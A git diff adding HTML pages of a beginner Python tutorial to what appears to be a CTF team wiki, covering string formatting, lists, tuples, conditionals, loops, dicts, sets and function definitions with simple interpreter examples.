+
>>> 'Hello, %s' % 'world'
+'Hello, world'
+>>> 'Hi, %s, you have $%d.' % ('Michael', 1000000)
+'Hi, Michael, you have $1000000.'
+
+

As you may have guessed, the % operator is used to format strings. Inside a string, %s means replace with a string, %d means replace with an integer, and there are several %? placeholder, followed by several variables or values, the order should correspond well. If there is only one %?, the parentheses can be omitted.

+

Common placeholders are.

+ + + + + + + + + + + + + + + + + + + + + + + + + +
PlaceholdersReplacement Content
%dInteger
%fFloat
%sString
%xHex Integer
+

Among other things, formatting integers and floating-point numbers also allows you to specify whether to complement zeros and the number of integer and fractional digits.

+
# -*- coding: utf-8 -*-
+print('%2d-%02d' % (3, 1))
+print('%.2f' % 3.1415926)
+
+

If you're not quite sure what to use, %s always works, and it will convert any data type to a string: the

+
>>> 'Age: %s. Gender: %s' % (25, True)
+'Age: 25. Gender: True'
+
+

There are times when the % inside a string is a normal character. This time it is necessary to escape it and use %% to represent a %.

+
>>> 'growth rate: %d %%' % 7
+'growth rate: 7 %'
+
+

format()

+

Another way to format a string is to use the string's format() method, which will replace the placeholders {0}, {1} ...... within the string in order with the passed arguments, although this is much more cumbersome to write than %:.

+
>>> 'Hello, {0}, 成绩提升了 {1:.1f}%'.format('小明', 17.125)
+'Hello, 小明, 成绩提升了 17.1%'
+
+

f-string

+

The last way to format strings is to use strings starting with f, called f-string, which differs from normal strings in that strings that contain {xxx} are replaced with the corresponding variable:

+
>>> r = 2.5
+>>> s = 3.14 * r ** 2
+>>> print(f'The area of a circle with radius {r} is {s:.2f}')
+The area of a circle with radius 2.5 is 19.62
+
+

In the above code, {r} is replaced by the value of the variable r, {s:.2f} is replaced by the value of the variable s, and the .2f after : specifies the formatting parameter (i.e., two decimal places are retained), so the result of the replacement of {s:.2f} is 19.62.

+

Summary

+

Python 3's strings use Unicode, which directly supports multiple languages.

+

When str and bytes are converted to each other, the encoding needs to be specified. The most common encoding is UTF-8, and Python certainly supports other encodings, such as encoding Unicode to GB2312.

+
>>> '中文'.encode('gb2312')
+b'\xd6\xd0\xce\xc4'
+
+

However, this approach is purely self-defeating. If you have no special business requirements, please keep in mind to use only UTF-8 encoding.

+

Formatting strings can be tested easily and quickly with Python's interactive environment.

+

Reference source code

+

the_string.py

+

Using lists and tuples

+

lists

+

One of Python's built-in data types is a list, an ordered collection of elements that can be added and removed at any time.

+

For example, listing the names of all the students in a class can be represented by a list.

+
>>> classmates = ['Michael', 'Bob', 'Tracy']
+>>> classmates
+['Michael', 'Bob', 'Tracy']
+
+

The variable classmates is a list, and the number of elements in the list can be obtained using the len() function.

+
>>> len(classmates)
+3
+
+

Use the index to access the element at each position in the list, remembering that the index starts at 0.

+
>>> classmates[0]
+'Michael'
+>>> classmates[1]
+'Bob'
+>>> classmates[2]
+'Tracy'
+>>> classmates[3]
+Traceback (most recent call last):
+  File "<stdin>", line 1, in <module>
+IndexError: list index out of range
+
+

Python will report an IndexError error when the index is out of range, so make sure the index doesn't go out of bounds, and remember that the index of the last element is len(classmates) - 1.

+

To fetch the last element, in addition to calculating the index position, you can also use -1 for the index and fetch the last element directly at.

+
>>> classmates[-1]
+'Tracy'
+
+

And so on, you can obtain the penultimate one, the penultimate one.

+
>>> classmates[-2]
+'Bob'
+>>> classmates[-3]
+'Michael'
+>>> classmates[-4]
+Traceback (most recent call last):
+  File "<stdin>", line 1, in <module>
+IndexError: list index out of range
+
+

Of course, the penultimate one is out of bounds.

+

A list is a mutable ordered table, so it is possible to append elements to the end of a list.

+
>>> classmates.append('Adam')
+>>> classmates
+['Michael', 'Bob', 'Tracy', 'Adam']
+
+

It is also possible to insert an element into a specified position, such as the position with index number 1.

+
>>> classmates.insert(1, 'Jack')
+>>> classmates
+['Michael', 'Jack', 'Bob', 'Tracy', 'Adam']
+
+

To delete the element at the end of a list, use the pop() method.

+
>>> classmates.pop()
+'Adam'
+>>> classmates
+['Michael', 'Jack', 'Bob', 'Tracy']
+
+

To delete the element at the specified position, use the pop(i) method, where i is the index position.

+
>>> classmates.pop(1)
+'Jack'
+>>> classmates
+['Michael', 'Bob', 'Tracy']
+
+

To replace an element with another element, you can directly assign it to the corresponding index position.

+
>>> classmates[1] = 'Sarah'
+>>> classmates
+['Michael', 'Sarah', 'Tracy']
+
+

The data types of the elements inside the list can also be different, e.g.

+
>>> L = ['Apple', 123, True]
+
+

A list element can also be another list, e.g.

+
>>> s = ['python', 'java', ['asp', 'php'], 'scheme']
+>>> len(s)
+4
+
+

Note that s has only 4 elements, where s[2] is again a list, which is easier to understand if you split it up.

+
>>> p = ['asp', 'php']
+>>> s = ['python', 'java', p, 'scheme']
+
+

To get 'php' you can write p[1] or s[2][1], so s can be seen as a two-dimensional array, similarly there are three-dimensional and four-dimensional ...... arrays, but they are rarely used.

+

If a list contains not a single element, it is an empty list, which has length 0.

+
>>> L = []
+>>> len(L)
+0
+
+

tuple

+

Another kind of ordered list is called a tuple: tuples. tuples are very similar to lists, but tuples cannot be modified once they are initialized, for example, they also list the names of classmates.

+
>>> classmates = ('Michael', 'Bob', 'Tracy')
+
+

Now, the tuples classmates cannot be changed, and it has no methods like append(), insert(). You can use classmates[0], classmates[-1] as normal, but you cannot assign to another element.

+

What is the point of immutable tuples? Because tuples are immutable, the code is safer. If possible, try to use a tuple instead of a list.

+

The tuple trap: When you define a tuple, the elements of the tuple must be identified at the time of definition, e.g.

+
>>> t = (1, 2)
+>>> t
+(1, 2)
+
+

To define an empty tuples, you can write () as follows:

+
>>> t = ()
+>>> t
+()
+
+

However, to define a tuples with only 1 element, if you define it like this.

+
>>> t = (1)
+>>> t
+1
+
+

It's not the tuple that is defined, it's the number 1! This is because the parentheses () can represent both tuple and parentheses in a mathematical formula, which creates ambiguity, so Python specifies that in this case, the calculation is done by parentheses, and the result is naturally 1.

+

Therefore, tuples with only 1 element must be defined with a comma , to disambiguate.

+
>>> t = (1,)
+>>> t
+(1,)
+
+

Python also adds a comma , when displaying tuples with only 1 element, so that you don't misinterpret them as parentheses in the mathematical sense.

+

Finally, look at a "mutable" tuples.

+
>>> t = ('a', 'b', ['A', 'B'])
+>>> t[2][0] = 'X'
+>>> t[2][1] = 'Y'
+>>> t
+('a', 'b', ['X', 'Y'])
+
+

This tuple is defined with 3 elements, 'a', 'b' and a list. How come it changed later?

+

Don't worry, let's first look at the definition of the tuples contain three elements: a'',b'' and a list.

+

tuple-0

+

When we modify the elements 'A' and 'B' of the list to 'X' and 'Y', the tuples become:

+

tuple-1

+

On the surface, the elements of the tuples do change, but in fact, it is not the elements of the tuples that change, but the elements of the lists. tuples do not change the lists they point to in the beginning to other lists, so the so-called "unchanging" of tuples means that each element of the tuples points to the same list forever. The tuple's so-called "invariant" means that each element of the tuple points to the same element forever. That is, if you point to 'a'', you cannot change it to point to'b'', and if you point to a list, you cannot change it to point to another object, but the list itself is mutable!

+

After understanding the "pointing to the same", how to create a tuple whose content also remains the same? Then we must ensure that each element of the tuple itself can not change.

+

Summary

+

lists and tuples are Python's built-in ordered collections, one mutable and one immutable. Choose to use them as needed.

+

Reference source code

+

the_list.py

+

the_tuple.py

+

Conditional Judgment

+

Conditional Judgment

+

The computer can do many automated tasks because it can make its own conditional judgments.

+

For example, entering the user's age and printing different things depending on the age is implemented in a Python program with the if statement.

+
age = 20
+if age >= 18:
+    print('your age is', age)
+    print('adult')
+
+

According to Python's indentation rules, if the if statement is judged to be True, the two lines of the indented print statement are executed, otherwise, nothing is done.

+

You can also add an else statement to if, meaning that if if is judged to be False, don't execute the if content and go ahead and execute the else.

+
age = 3
+if age >= 18:
+    print('your age is', age)
+    print('adult')
+else:
+    print('your age is', age)
+    print('teenager')
+
+

Be careful not to underwrite the colon :.

+

Of course the above judgement is very rough, it is perfectly possible to make a more detailed judgement with elif:

+
age = 3
+if age >= 18:
+    print('adult')
+elif age >= 6:
+    print('teenager')
+else:
+    print('kid')
+
+

elif is short for else if, and it is perfectly possible to have more than one elif, so the full form of the if statement is:

+
if <条件判断1>:
+    <执行1>
+elif <条件判断2>:
+    <执行2>
+elif <条件判断3>:
+    <执行3>
+else:
+    <执行4>
+
+

The execution of the if statement has a feature that it judges from top to bottom. If True is made on a certain judgment, after executing the statement corresponding to that judgment, the remaining elif and else are ignored. So, please test and explain why the following program prints teenager.

+
age = 20
+if age >= 6:
+    print('teenager')
+elif age >= 18:
+    print('adult')
+else:
+    print('kid')
+
+

The if judgment condition can also be abbreviated, for example by writing.

+
if x:
+    print('True')
+
+

As long as x is a non-zero value, a non-empty string, a non-empty list, etc., it is judged to be True, otherwise it is False.

+

Reconsider input

+

Finally, let's look at a problematic conditional judgment. Many students will use input() to read the user's input, so that they can enter it themselves and the program runs more interestingly: input().

+
birth = input('birth: ')
+if birth < 2000:
+    print('00前')
+else:
+    print('00后')
+
+

Entering 1982 resulted in the following error.

+
Traceback (most recent call last):
+  File "<stdin>", line 1, in <module>
+TypeError: unorderable types: str() > int()
+
+

This is because the data type returned by input() is str, which cannot be compared directly with an integer and must first be converted from str to an integer. Python provides the int() function to do this.

+
s = input('birth: ')
+birth = int(s)
+if birth < 2000:
+    print('00前')
+else:
+    print('00后')
+
+

Run it again and you will get the correct result. But what if you type abc? Again, you will get an error message.

+
Traceback (most recent call last):
+  File "<stdin>", line 1, in <module>
+ValueError: invalid literal for int() with base 10: 'abc'
+
+

It turns out that the int() function reports an error when it finds a string that is not a legal number, and the program exits.

+

How do you check for and catch program runtime errors? We'll talk about errors and debugging later.

+

Summary

+

Conditional judgments allow the computer to make its own choices, Python's if... .elif... ...else is very flexible.

+

Conditional judgments match from the top down, executing the corresponding block when the condition is met, and subsequent elifs and else's are no longer executed.

+

python-if

+

Reference source code

+

do_if.py

+

Loop

+

Loop

+

To calculate 1+2+3, we can simply write the expression.

+
>>> 1 + 2 + 3
+6
+
+

To calculate 1+2+3+... +10, you can barely write it.

+

However, to calculate 1+2+3+... +10,000, it's impossible to write the expression directly.

+

In order for the computer to compute thousands of iterations, we need loop statements.

+

Python has two kinds of loops, a for... .in loops that iterate through each element of a list or tuple in turn, see the example.

+
names = ['Michael', 'Bob', 'Tracy']
+for name in names:
+    print(name)
+
+

Executing this code will print each element of names in turn.

+
Michael
+Bob
+Tracy
+
+

So the for x in ... loop is a statement that substitutes each element into the variable x and then executes the indented block.

+

Another example is if we want to calculate the sum of integers from 1 to 10, we can use a sum variable to do the accumulation.

+
sum = 0
+for x in [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]:
+    sum = sum + x
+print(sum)
+
+

If you want to calculate the sum of integers from 1 to 100, it is a bit difficult to write from 1 to 100. Fortunately, Python provides a range() function that can generate a sequence of integers, which can be converted to a list by the list() function. for example, the sequence generated by range(5) is a sequence of integers less than 5 starting from 0.

+
>>> list(range(5))
+[0, 1, 2, 3, 4]
+
+

range(101) will generate a sequence of integers from 0-100, calculated as follows.

+
# -*- coding: utf-8 -*-
+sum = 0
+for x in range(101):
+    sum = sum + x
+print(sum)
+
+

Please run the above code yourself to see if the result is the 5050 that Gauss students mentally calculated back then.

+

The second type of loop is the while loop, which keeps looping as long as the conditions are met, and exits the loop when the conditions are not met. For example, if we want to calculate the sum of all odd numbers within 100, we can use a while loop to do the following.

+
sum = 0
+n = 99
+while n > 0:
+    sum = sum + n
+    n = n - 2
+print(sum)
+
+

Inside the loop, the variable n keeps decreasing itself until it becomes -1, when the while condition is no longer met and the loop exits.

+

break

+

In a loop, the break statement can exit the loop early. For example, to have looped to print the numbers 1 to 100.

+
n = 1
+while n <= 100:
+    print(n)
+    n = n + 1
+print('END')
+
+

The code above prints out 1 to 100.

+

To end the loop early, you can use the break statement.

+
n = 1
+while n <= 100:
+    if n > 10: # When n = 11, the condition is met and the break statement is executed
+        break # The break statement will end the current loop
+    print(n)
+    n = n + 1
+print('END')
+
+

As you can see from the above code, after printing out 1~10, END is printed immediately afterwards and the program ends.

+

It can be seen that the function of break is to end the loop early.

+

continue

+

During the loop, you can also skip the current loop and start the next one directly with the continue statement.

+
n = 0
+while n < 10:
+    n = n + 1
+    print(n)
+
+

The above program prints 1 to 10. However, if we want to print only odd numbers, we can skip certain loops with the continue statement.

+
n = 0
+while n < 10:
+    n = n + 1
+    if n % 2 == 0: # If n is an even number, execute the continue statement
+        continue # The continue statement will continue directly to the next loop, and the subsequent print() statement will not be executed
+    print(n)
+
+

Executing the above code, you can see that it no longer prints 1 to 10, but 1, 3, 5, 7, and 9.

+

You can see that the purpose of continue is to end the current loop early and start the next one directly.

+

Summary

+

Loops are an effective way to get the computer to do repetitive tasks.

+

The break statement can exit the loop directly during the loop, while the continue statement can end the current round of loops early and start the next round directly. Both of these statements usually must be used in conjunction with the if statement.

+

Be especially careful not to abuse the break and continue statements. break and continue can cause the code execution logic to bifurcate too much and be prone to errors. Most loops do not require the use of break and continue statements, and both of the above examples can be done by rewriting the loop condition or modifying the loop logic to remove the break and continue statements.

+

In some cases, if the code is written in a problematic way, the program will fall into a "dead loop", that is, a loop that goes on forever. In this case, you can use Ctrl+C to exit the program or force the Python process to end.

+

Please try to write a dead loop program.

+

Reference source code

+

do_for.py

+

do_while.py

+

Using dict and set

+

dict

+

Python has built-in support for dictionaries: dict, also known as dictionary or map in other languages, uses key-value storage and is extremely fast to find.

+

For example, suppose you want to find the corresponding grades based on the names of your classmates, and if you implement it with lists, you need two lists.

+
names = ['Michael', 'Bob', 'Tracy']
+scores = [95, 75, 85]
+
+

Given a name, to find the corresponding score, you have to find the corresponding position in names and then take out the corresponding score from scores, the longer the list, the longer it takes.

+

If we use a dict, we only need a "name" - "score" comparison table, and we can find the scores according to the names directly, no matter how big the table is, the search speed will not be slow. Write a dict in Python as follows.

+
>>> d = {'Michael': 95, 'Bob': 75, 'Tracy': 85}
+>>> d['Michael']
+95
+
+

Why is dict lookup so fast? Because the principle of dict implementation is the same as looking up a dictionary. Suppose the dictionary contains 10,000 Chinese characters, and we want to look up a certain word, one way is to turn the dictionary backward from the first page until we find the word we want, this method is the method of finding elements in the list, the larger the list is, the slower the search is.

+

The second way is to look up the page number corresponding to the word in the index table of the dictionary (e.g., the part number table), and then turn directly to that page and find the word. No matter which word you are looking for, this search is very fast and does not slow down as the size of the dictionary increases.

+

Given a name, such as 'Michael', dict can internally calculate the "page number" of Michael, which is the memory address where the number 95 is stored, and take it out directly, so it is very fast.

+

As you can guess, this key-value storage method, when you put it in, you must calculate the storage location of the value according to the key, so that when you take it, you can get the value directly according to the key.

+

The method of putting data into dict, in addition to the initialization specified, can also be put in by key.

+
>>> d['Adam'] = 67
+>>> d['Adam']
+67
+
+

Since a key can only correspond to a value, putting a value to a key multiple times will flush out the previous value.

+
>>> d['Jack'] = 90
+>>> d['Jack']
+90
+>>> d['Jack'] = 88
+>>> d['Jack']
+88
+
+

If the key does not exist, dict will report an error.

+
>>> d['Thomas']
+Traceback (most recent call last):
+  File "<stdin>", line 1, in <module>
+KeyError: 'Thomas'
+
+

To avoid the error that the key does not exist, there are two ways, one is to determine whether the key exists by in.

+
>>> 'Thomas' in d
+False
+
+

The second is through the get() method provided by dict, which can return None if the key does not exist, or the value specified by itself.

+
>>> d.get('Thomas')
+>>> d.get('Thomas', -1)
+-1
+
+

Note: Python's interactive environment does not show the result when None is returned.

+

To delete a key, use the pop(key) method, and the corresponding value will also be deleted from the dict.

+
>>> d.pop('Bob')
+75
+>>> d
+{'Michael': 95, 'Tracy': 85}
+
+

Be sure to note that the order of storage inside a dict has no relation to the order in which the keys are placed.

+

Compared with list, dict has the following features.

+
    +
  1. the speed of lookup and insertion is extremely fast and does not slow down with the increase of keys.
  2. +
  3. it takes up a lot of memory and wastes a lot of memory.
  4. +
+

On the contrary, list has the following features.

+
    +
  1. the search and insertion time increases with the increase of elements.
  2. +
  3. takes up little space and wastes little memory.
  4. +
+

So, dict is a way to trade space for time.

+

dict can be used in many places where high-speed lookup is needed, and it is almost ubiquitous in Python code. It is very important to use dict correctly, and the first thing to keep in mind is that the key of dict must be immutable object.

+

This is because dict calculates the storage location of value based on key, and if each time the same key is calculated the result is different, then the dict is completely confused internally. This algorithm for calculating the location by key is called a hash algorithm (Hash).

+

To ensure the correctness of the hash, the object that is the key cannot change. In Python, strings, integers, etc. are immutable and can therefore be safely used as keys, whereas lists are mutable and cannot be used as keys.

+
>>> key = [1, 2, 3]
+>>> d[key] = 'a list'
+Traceback (most recent call last):
+  File "<stdin>", line 1, in <module>
+TypeError: unhashable type: 'list'
+
+

set

+

A set is similar to a dict in that it is also a set of keys, but does not store values. since keys cannot be duplicated, there are no duplicate keys in a set.

+

To create a set, a list is provided as the input set.

+
>>> s = set([1, 2, 3])
+>>> s
+{1, 2, 3}
+
+

Note that the passed parameter [1, 2, 3] is a list, and the displayed {1, 2, 3} just tells you that there are 3 elements inside this set, 1, 2, 3, and the displayed order does not indicate that the set is ordered.

+

Duplicate elements are automatically filtered in the set.

+
>>> s = set([1, 1, 2, 2, 3, 3])
+>>> s
+{1, 2, 3}
+
+

Elements can be added to the set by the add(key) method, which can be repeated, but will not have the effect of.

+
>>> s.add(4)
+>>> s
+{1, 2, 3, 4}
+>>> s.add(4)
+>>> s
+{1, 2, 3, 4}
+
+

Elements can be removed by the remove(key) method.

+
>>> s.remove(4)
+>>> s
+{1, 2, 3}
+
+

set can be seen as a mathematically unordered and non-repetitive set of elements, so that two sets can be intersected, merged, etc. in the mathematical sense.

+
>>> s1 = set([1, 2, 3])
+>>> s2 = set([2, 3, 4])
+>>> s1 & s2
+{2, 3}
+>>> s1 | s2
+{1, 2, 3, 4}
+
+

The only difference between set and dict is that there is no corresponding value stored, but the principle of set is the same as dict, so it is also not possible to put mutable objects into it, because there is no way to determine whether two mutable objects are equal, and there is no guarantee that there will be "no duplicate elements" inside the set. Try putting a list into set and see if you get an error.

+

Re-discuss immutable objects

+

As we said above, str is an immutable object, while list is a mutable object.

+

For mutable objects, such as list, the contents of list will change if list is manipulated, for example.

+
>>> a = ['c', 'b', 'a']
+>>> a.sort()
+>>> a
+['a', 'b', 'c']
+
+

And for immutable objects, such as str, what about operations on str.

+
>>> a = 'abc'
+>>> a.replace('a', 'A')
+'Abc'
+>>> a
+'abc'
+
+

Although the string has a replace() method, and it does turn out to be 'Abc', the variable a still ends up being 'abc', so how should we understand it?

+

Let's change the code to the following.

+
>>> a = 'abc'
+>>> b = a.replace('a', 'A')
+>>> b
+'Abc'
+>>> a
+'abc'
+
+

The thing to always keep in mind is that a is the variable, and 'abc' is the string object! There are times when we often say that the content of the object a is 'abc', but what we really mean is that a itself is a variable, and it is the content of the object it points to that is 'abc'.

+
┌───┐                  ┌───────┐
+│ a │─────────────────>│ 'abc' │
+└───┘                  └───────┘
+
+

When we call a.replace('a', 'A'), the call to method replace actually acts on the string object 'abc', and the method, despite its name replace, does not change the content of the string 'abc'. Instead, the replace method creates a new string 'Abc' and returns it, and if we use the variable b to point to that new string, it is easy to understand that the variable a still points to the original string 'abc', but the variable b points to the new string 'Abc'.

+
┌───┐                  ┌───────┐
+│ a │─────────────────>│ 'abc' │
+└───┘                  └───────┘
+┌───┐                  ┌───────┐
+│ b │─────────────────>│ 'Abc' │
+└───┘                  └───────┘
+
+

So, for immutable objects, calling any method on the object itself will not change the content of the object itself. Instead, these methods create new objects and return them, thus ensuring that the immutable object itself is always immutable.

+

Summary

+

Using a key-value storage structure for dict is very useful in Python. It is important to choose immutable objects as keys, and the most common key is a string.

+

While tuple is an immutable object, try putting (1, 2, 3) and (1, [2, 3]) into a dict or set and interpret the results.

+

Reference source code

+

the_dict.py

+

the_set.py

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/CTF/Python_3/index.html b/CTF/Python_3/index.html new file mode 100644 index 000000000..c52dca082 --- /dev/null +++ b/CTF/Python_3/index.html @@ -0,0 +1,9103 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Python Programming Quick Guide - Functions - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

Python Programming Quick Guide - Functions

+
+

https://www.liaoxuefeng.com/wiki/1016959663602400/1017063413904832

+

https://docs.python.org/3/tutorial/index.html

+
+

Function

+

We know that the formula for calculating the area of a circle is

+

S = πr^2

+

When we know the value of radius r, we can calculate the area according to the formula. Suppose we need to calculate the area of 3 circles of different sizes.

+
r1 = 12.34
+r2 = 9.08
+r3 = 73.1
+s1 = 3.14 * r1 * r1
+s2 = 3.14 * r2 * r2
+s3 = 3.14 * r3 * r3
+
+

When there is a regular repetition of the code, you need to beware that writing 3.14 * x * x each time is not only troublesome, but, if you want to change 3.14 to 3.14159265359, you have to replace it all.

+

With functions, instead of writing s = 3.14 * x * x every time, we write the more meaningful function call s = area_of_circle(x), and the function area_of_circle itself only needs to be written once, so it can be called multiple times.

+

Basically all high-level languages support functions, and Python is no exception. not only can Python be very flexible in defining functions, but it has many useful functions built in itself that can be called directly.

+

Abstraction

+

Abstraction is a very common concept in mathematics. As an example.

+

Calculating the sum of a series, e.g., 1 + 2 + 3 + ... + 100, is very inconvenient to write, so mathematicians invented the summation symbol ∑, which can be written as 1 + 2 + 3 + ... + 100 is written as.

+

sum1_100

+

This abstract notation is very powerful because we see that ∑ can be understood as a summation, rather than reducing to a low-level addition operation.

+

Moreover, this abstract notation is scalable, e.g.

+

sum1_100_2

+

Reduced to addition it becomes.

+

(1 x 1 + 1) + (2 x 2 + 1) + (3 x 3 + 1) + ... + (100 x 100 + 1)

+

As you can see, abstraction allows us to think directly at a higher level, without caring about the underlying concrete computational process.

+

Writing computer programs is the same, and functions are one of the most basic ways of abstracting code.

+

Calling functions

+

Python has a lot of useful functions built in that we can call directly.

+

To call a function, you need to know the name of the function and its arguments, for example, the function abs that finds the absolute value has only one argument. The documentation can be viewed directly from Python's official website at

+

http://docs.python.org/3/library/functions.html#abs

+

You can also view the help information for the abs function at the interactive command line via help(abs).

+

To invoke the abs function.

+
>>> abs(100)
+100
+>>> abs(-20)
+20
+>>> abs(12.34)
+12.34
+
+

Calling a function with the wrong number of arguments passed in will report a TypeError error, and Python will tell you explicitly that abs() has and only has 1 argument, but gives two.

+
>>> abs(1, 2)
+Traceback (most recent call last):
+  File "<stdin>", line 1, in <module>
+TypeError: abs() takes exactly one argument (2 given)
+
+

If the number of arguments passed in is correct, but the argument type is not accepted by the function, a TypeError error is also reported and the error message is given: str is the wrong argument type.

+
>>> abs('a')
+Traceback (most recent call last):
+  File "<stdin>", line 1, in <module>
+TypeError: bad operand type for abs(): 'str'
+
+

And the max function max() can take any number of arguments and return the largest one.

+
>>> max(1, 2)
+2
+>>> max(2, 3, 1, -5)
+3
+
+

Data type conversions

+

Python's built-in common functions also include data type conversion functions, such as the int() function that converts other data types to integers:

+
>>> int('123')
+123
+>>> int(12.34)
+12
+>>> float('12.34')
+12.34
+>>> str(1.23)
+'1.23'
+>>> str(100)
+'100'
+>>> bool(1)
+True
+>>> bool('')
+False
+
+

A function name is actually a reference to a function object, and it is possible to assign the function name to a variable, which is equivalent to giving the function an "alias".

+
>>> a = abs # Variable a points to the abs function
+>>> a(-1) # So you can also call the abs function from a
+1
+
+

Define function

+

In Python, to define a function you use the def statement, write the function name, the parentheses, the arguments in the parentheses, and the colon : in that order, then, write the function body in an indented block, and the return value of the function is returned with the return statement.

+

Let's take a custom my_abs function for absolute values as an example.

+
# -*- coding: utf-8 -*-
+def my_abs(x):
+    if x >= 0:
+        return x
+    else:
+        return -x
+
+print(my_abs(-99))
+
+

Please test it yourself and call my_abs to see if the returned result is correct.

+

Note that when the statements inside the function body are executed, once they reach return, the function is executed and the result is returned. Thus, very complex logic can be implemented inside functions through conditional judgments and loops.

+

If there is no return statement, the function will also return the result when it finishes executing, but the result will be None. return None can be abbreviated to return.

+

When defining functions in the Python interactive environment, note that Python will show a ... prompt. When you finish defining the function you need to press enter twice to get back to the >>> prompt.

+
┌────────────────────────────────────────────────────────┐
+│Command Prompt - python                           - □ x │
+├────────────────────────────────────────────────────────┤
+│>>> def my_abs(x):                                      │
+│...     if x >= 0:                                      │
+│...         return x                                    │
+│...     else:                                           │
+│...         return -x                                   │
+│...                                                     │
+│>>> my_abs(-9)                                          │
+│9                                                       │
+│>>> _                                                   │
+│                                                        │
+│                                                        │
+└────────────────────────────────────────────────────────┘
+
+

If you have already saved the function definition of my_abs() as an abstest.py file, then you can start the Python interpreter in the current directory of that file and import the my_abs() function with from abstest import my_abs, noting that abstest is the file name (without the . py extension).

+
┌────────────────────────────────────────────────────────┐
+│Command Prompt - python                           - □ x │
+├────────────────────────────────────────────────────────┤
+│>>> from abstest import my_abs                          │
+│>>> my_abs(-9)                                          │
+│9                                                       │
+│>>> _                                                   │
+│                                                        │
+│                                                        │
+│                                                        │
+│                                                        │
+│                                                        │
+│                                                        │
+│                                                        │
+└────────────────────────────────────────────────────────┘
+
+

The usage of import is described in detail in the subsequent section Modules.

+

Empty functions

+

If you want to define an empty function that doesn't do anything, you can use the pass statement.

+
def nop():
+    pass
+
+

The pass statement doesn't do anything, so what's the point? Actually pass can be used as a placeholder, for example, if you haven't figured out how to write the code for a function yet, you can put a pass first so that the code can run.

+

pass can also be used in other statements, such as.

+
if age >= 18:
+    pass
+
+

Missing pass, the code will run with syntax errors.

+

Parameter checking

+

When calling a function with the wrong number of arguments, the Python interpreter will automatically check for it and throw TypeError:

+
>>> my_abs(1, 2)
+Traceback (most recent call last):
+  File "<stdin>", line 1, in <module>
+TypeError: my_abs() takes 1 positional argument but 2 were given
+
+

But if the argument type is wrong, the Python interpreter can't check it for us. Try the difference between my_abs and the built-in function abs.

+
>>> my_abs('A')
+Traceback (most recent call last):
+  File "<stdin>", line 1, in <module>
+  File "<stdin>", line 2, in my_abs
+TypeError: unorderable types: str() >= int()
+>>> abs('A')
+Traceback (most recent call last):
+  File "<stdin>", line 1, in <module>
+TypeError: bad operand type for abs(): 'str'
+
+

The built-in function abs checks for parameter errors when improper parameters are passed in, while the my_abs we defined has no parameter checking and will cause an error in the if statement with a different error message than abs. So, this function definition is not good enough.

+

Let's modify the definition of my_abs to do an argument type check and allow only arguments of integer and floating point types. The data type check can be implemented with the built-in function isinstance().

+
def my_abs(x):
+    if not isinstance(x, (int, float)):
+        raise TypeError('bad operand type')
+    if x >= 0:
+        return x
+    else:
+        return -x
+
+

With the addition of parameter checking, the function can throw an error if the wrong type of parameter is passed in.

+
>>> my_abs('A')
+Traceback (most recent call last):
+  File "<stdin>", line 1, in <module>
+  File "<stdin>", line 3, in my_abs
+TypeError: bad operand type
+
+

Error and exception handling will be covered later.

+

Returning multiple values

+

Can a function return more than one value? The answer is yes.

+

For example, in a game where you often need to move from one point to another, given the coordinates, displacement and angle, you can calculate the new coordinates as follows.

+
import math
+
+def move(x, y, step, angle=0):
+    nx = x + step * math.cos(angle)
+    ny = y - step * math.sin(angle)
+    return nx, ny
+
+

The import math statement indicates that the math package is imported and allows subsequent code to reference the sin, cos and other functions in the math package.

+

Then, we can get both the return values.

+
>>> x, y = move(100, 100, 60, math.pi / 6)
+>>> print(x, y)
+151.96152422706632 70.0
+
+

But in fact this is only an illusion, and the Python function still returns a single value:

+
>>> r = move(100, 100, 60, math.pi / 6)
+>>> print(r)
+(151.96152422706632, 70.0)
+
+

The original return value is a tuple! However, in syntax, returning a tuple can omit the parentheses, and multiple variables can receive a tuple at the same time, assigned to the corresponding value by position, so Python's function returns multiple values is actually returning a tuple, but it's easier to write.

+

Summary

+

When defining a function, you need to determine the function name and the number of arguments.

+

If necessary, you can first check the data types of the arguments.

+

return can be used inside the function body to return the result of the function at any time.

+

If the function is executed and there is no return statement, it automatically returns None.

+

The function can return multiple values at the same time, but it is actually a tuple.

+

Reference source code

+

def_func.py

+

Parameters of a function

+

When defining a function, we name and locate the parameters and the interface definition of the function is complete. For the caller of the function, it's enough to know how to pass the right arguments and what value the function will return; the complex logic inside the function is encapsulated and the caller doesn't need to understand it.

+

Python's function definitions are very simple, but very flexible. In addition to the normal definition of mandatory arguments, you can also use default, variable, and keyword arguments, making the function definition an interface that not only handles complex arguments, but also simplifies the caller's code.

+

positional parameters

+

Let's start by writing a function that calculates x2:

+
def power(x):
+    return x * x
+
+

For the power(x) function, the argument x is a position parameter.

+

When we call the power function, we must pass in one and only one parameter x.

+
>>> power(5)
+25
+>>> power(15)
+225
+
+

Now, what if we want to calculate x3? We can define another power3 function, but what if we want to calculate x4, x5 ......? We can't define an infinite number of functions.

+

It may have occurred to you that you can modify power(x) to power(x, n) to compute xn, and to do so, say.

+
def power(x, n):
+    s = 1
+    while n > 0:
+        n = n - 1
+        s = s * x
+    return s
+
+

For this modified power(x, n) function, any nth power can be computed as follows.

+
>>> power(5, 2)
+25
+>>> power(5, 3)
+125
+
+

The modified power(x, n) function has two parameters: x and n, both of which are positional parameters. When the function is called, the two values passed in are assigned to the parameters x and n in order of position.

+

Default parameters

+

The new power(x, n) function definition is fine, however, the old calling code fails because we added an argument, causing the old code to fail to call properly because of a missing argument: the

+
>>> power(5)
+Traceback (most recent call last):
+  File "<stdin>", line 1, in <module>
+TypeError: power() missing 1 required positional argument: 'n'
+
+

Python's error message is clear: the call to the function power() is missing a positional argument n.

+

This is where the default parameter comes into play. Since we often calculate x2, it is perfectly acceptable to set the default value of the second argument, n, to 2.

+
def power(x, n=2):
+    s = 1
+    while n > 0:
+        n = n - 1
+        s = s * x
+    return s
+
+

Thus, when we call power(5), it is equivalent to calling power(5, 2).

+
>>> power(5)
+25
+>>> power(5, 2)
+25
+
+

